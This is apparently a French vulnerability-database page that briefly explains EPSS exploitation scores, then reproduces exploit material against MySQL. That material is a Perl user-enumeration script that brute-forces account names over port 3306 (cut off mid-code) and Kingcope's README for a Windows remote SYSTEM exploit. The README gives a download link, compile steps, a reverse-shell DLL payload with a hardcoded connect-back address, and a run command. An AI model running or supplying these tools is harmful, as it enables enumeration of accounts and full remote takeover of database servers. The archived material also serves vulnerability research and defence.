EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

# MySQL User Account Enumeration Utility # When an attacker authenticates using an incorrect password # with the old authentication mechanism from mysql 4.x and below to a mysql 5.x server # the mysql server will respond with a different message than Access Denied, what makes # User Account Enumeration possible. # The Downside is that the attacker has to reconnect for each user enumeration attempt #20000 user accounts in 7 minutes #Mon Jan 16 09:00:18 UTC 2012 #Mon Jan 16 09:07:26 UTC 2012 #root@vs2067037:~# wc -l MEDIUM.LST #21109 MEDIUM.LST #A usernames.txt wordlist is included in this package #examples: #root@vs2067037:~# perl mysqlenum.pl host usernames.txt # #[*] HIT! -- USER EXISTS: administrator@host # #root@vs2067037:~# perl mysqlenum.pl host usernames.txt # #[*] HIT! -- USER EXISTS: admin@host # use IO::Socket; use Parallel::ForkManager; $|=1; if ($#ARGV != 1) { print "Usage: mysqlenumerate.pl <target> <wordlist>\n"; exit; } $target = $ARGV[0]; $wordlist = $ARGV[1]; $numforks = 50; $pm = new Parallel::ForkManager($numforks); open FILE,"<$wordlist"; unlink '/tmp/cracked'; @users = (); $k=0; while(<FILE>) { chomp; $_ =~ s/\r//g; $users[$k++] = $_; } close FILE; $k2 = 0; for(;;) { for ($k=0;$k<$numforks;$k++) { $k2++; if (($k2 > $#users) or (-e '/tmp/cracked')) { exit; } my $pid = $pm->start and next; $user = $users[$k2]; goto further; again: print "Connect Error\n"; further: my $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => '3306', Proto => 'tcp') || goto again; recv($sock, $buff, 1024, 0); $buf = "\x00\x00\x01\x8d\x00\x00\x00\x00$user\x00\x50".

*** FARLiGHT ELiTE HACKERS LEGACY R3L3ASE *** Attached is the MySQL Windows Remote Exploit (post-auth, udf technique) including the previously released mass scanner. The exploit is mirrored at the farlight website http://www.farlight.org. Oracle MySQL on Windows Remote SYSTEM Level Exploit zeroday All owned By Kingcope https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23073.tar.gz Installation Instructions ============================= 1. Install mysql client libraries and headers (UNIX) RedHat based (e.g. CentOS): yum install mysql mysql-devel 2. Compile the standalone exploit issue commands: gcc mysqljackpot.c -o mysqljackpot -L/usr/lib/mysql -lmysqlclient 3. Compile the reverse shell payload (this is required!) required because the connect back ip and port are hardcoded in the dll: use mingw on windows or wine change REVERSEIP and REVERSEPORT to suit your needs. If you change REVERSEPORT you have to change the port in mysqljackpot.c too (default port: 443). issue commands: set PATH=%PATH%;c:\MinGW\bin\ gcc -c payload.c gcc -shared -o payload.dll payload.o -lws2_32 copy the payload.dll into the mysqljackpot exploit folder 4. Run The Exploit ./mysqljackpot -u root -p "" -t 99.99.99.99 A valid database admin user and his password are required for the exploit to work properly. This exploit is especially useful when used in connection to a MySQL login scanner, see scanner/README.mysql inside this package. Be sure to have the firewall open on the desired reverse port on the attacking machine. 5. Enjoy your SYSTEM Shell!!! Yours Sincerely, -- Kingcope
